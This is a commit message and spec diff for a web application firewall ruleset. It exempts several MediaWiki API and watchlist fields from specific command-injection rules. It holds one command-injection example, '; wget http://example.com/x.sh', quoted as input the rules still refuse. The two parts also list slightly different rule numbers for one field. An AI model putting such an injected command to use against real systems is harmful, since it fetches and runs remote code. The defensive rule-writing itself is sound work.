Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)

On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, also skips 932125, 932230 and 932380, which read a title at the
start of a line as a command. It skips 932235 and 932260 only when the
body sends it once and it holds no ";", "|", "&" or backtick, checked by
a phase 2 rule, so "; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5

SPEC.md

@@ -1010,9 +1010,15 @@ requests. The changes hold in front of every app, and no setting undoes them:
         - `from` and `to`, the titles of a page being moved;
         - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`,
           `aiprefix`, `aufrom` and `auprefix`;
-        - `gsrsearch`, `gpssearch`, `gapfrom` and `gbltitle`, which a generator
-          sends in place of `srsearch`, `pssearch`, `apfrom` and `bltitle`;
+        - `letitle`, the page whose log is listed;
         - `euquery`, an address;
+        - the fields a generator sends in place of the fields above, each with a
+          `g` in front:
+            - `gsrsearch` and `gpssearch`;
+            - `gapfrom`, `gapto` and `gapprefix`;
+            - `gaifrom` and `gaiprefix`;
+            - `gbltitle`;
+            - `geuquery`;
         - the user names `ucuser`, `bkusers` and `user`;
         - `summary`, `sectiontitle`, `filename`, `comment` and `reason`;
         - `lgname`, `lgpassword`, `username` and `password`, for signing in.
@@ -1033,6 +1039,14 @@ requests. The changes hold in front of every app, and no setting undoes them:
         - `wpReason-other`, for blocking a user;
         - `user-reason`, for changing a user's groups;
         - `mwProtect-reason`, for protecting a page.
+    - On MediaWiki's pages, `wpTitles`, the list of watched pages that
+      `Special:EditWatchlist/raw` sends, one title per line. It skips the same
+      four rules. A title at the start of a line reads as a command, so it also
+      skips 932125, 932230, 932235 and 932380. It skips 932235 and 932260 only
+      when it holds no `;`, `|`, `&` or backtick. So a command such as
+      `; wget http://example.com/x.sh` is still refused. A list that mixes a
+      title holding one of these with a title starting with a command name is
+      refused too.
     - The wikitext of a page, which holds templates, tables and any code it
       shows:
         - `wpTextbox1` on MediaWiki's pages;